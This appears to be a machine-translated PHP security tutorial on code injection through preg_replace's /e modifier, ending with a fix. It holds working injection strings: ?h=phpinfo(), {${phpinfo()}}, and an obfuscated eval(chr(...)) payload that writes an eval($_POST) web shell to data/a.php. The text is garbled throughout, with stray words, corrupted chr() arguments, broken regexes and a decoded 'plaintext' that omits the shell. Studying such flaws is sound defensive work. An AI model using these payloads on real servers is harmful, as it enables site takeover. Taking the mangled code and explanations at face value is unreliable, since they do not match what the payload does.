Make sure that replacement constitutes a valid PHP code string. Otherwise, PHP will report a syntax parsing error in the row containing preg_replace ().
Make sure that replacement constitutes a valid PHP code string. Otherwise, PHP will report a syntax parsing error in the row containing preg_replace ().
Preg_replace function prototype:
Mixed preg_replace (mixed pattern, mixed replacement, mixed subject [, int limit])
Note:
The/e modifier enables preg_replace () to treat the replacement parameter as PHP code (after appropriate reverse references are replaced ). Tip: Make sure that the replacement constitutes a valid PHP code string. Otherwise, PHP will report a syntax parsing error in the row containing preg_replace.
Example:
The Code is as follows:
Preg_replace ("/( ] *>)/E ",
"\ 1. strtoupper (\ 2). \ 3 ",
$ Html_body );
?>
This converts all HTML tags in the input string to uppercase.
Security Threat Analysis:
Generally, the subject parameter is generated by the client. On the U.S. server, the client may construct malicious code, for example:
The Code is as follows:
Echo preg_replace ("/test/e", $ _ GET ["h"], "jutst test ");
?>
If we submit? H = phpinfo (), phpinfo () will be executed (using the/e modifier, preg_replace will execute the replacement parameter as PHP code ).
What if we submit the following code?
? H = eval (chr (1, 102 ). chr (1, 112 ). chr (1, 117 ). chr (1, 116 ). chr (1, 115 ). chr (40 ). chr (1, 102 ). chr (1, 111 ). chr (1, 112 ). chr (1, 101 ). chr (1, 110 ). chr (40 ). chr (39 ). chr (1, 100 ). chr (97 ).
Chr (1, 116 ). chr (97 ). chr (47 ). chr (97 ). chr (46 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (39 ). chr (44 ). chr (39 ). chr (1, 119 ). chr (39 ). chr (41 ). chr (44 ). chr (39 ). chr (60 ).
Chr (63 ). chr (1, 112 ). chr (1, 104 ). chr (1, 112 ). chr (32 ). chr (1, 101 ). chr (1, 118 ). chr (97 ). chr (1, 108 ). chr (40 ). chr (36 ). chr (95 ). chr (80 ). chr (79 ). chr (83 ). chr (84 ). chr (91 ).
Chr (99 ). chr (1, 109 ). chr (1, 100 ). chr (93 ). chr (41 ). chr (63 ). chr (62 ). chr (39 ). chr (41 ). chr (59 ))
The plaintext corresponding to the ciphertext is: fputs (fopen (data/a. php, w ), );
The execution result is to generate a trojan file a. php In the/data/directory.
Another difficult example:
The Code is as follows:
Function test ($ str)
{
}
Echo preg_replace ("/s * [php] (. + ?) [/Php] s */ies ", 'test (" \ 1 ") ', $ _ GET [" h "]);
?>
Submit? H = [php] phpinfo () [/php]. Will the VM and phpinfo () be executed?
Certainly not. After regular expression matching, the replacement parameter is changed to 'test ("phpinfo") '. In this case, phpinfo is only treated as a string parameter.
Is there a way to execute it?
Of course. In this case, if we submit? H = [php] {$ {phpinfo ()} [/php], phpinfo () will be executed. Why?
In php, if a variable is included in the double quotation marks of a Hong Kong Vm, the php interpreter replaces it with the result of the variable interpretation. The variables in the single quotation marks are not processed.
Note: Functions in double quotation marks are not executed and replaced.
Here we need to construct a special variable through {$ {}, 'test ("{$ {phpinfo ()}}")', to make the function run ($ {phpinfo ()} will be interpreted and executed ).
You can perform the following tests first:
The Code is as follows:
Echo "{$ {phpinfo ()}}";
Phpinfo will be successfully executed.
How can this vulnerability be prevented?
Change 'test ("\ 1") 'to "test (' \ 1')", then '$ {phpinfo ()} 'is treated as a normal string (the variables in single quotes are not processed ).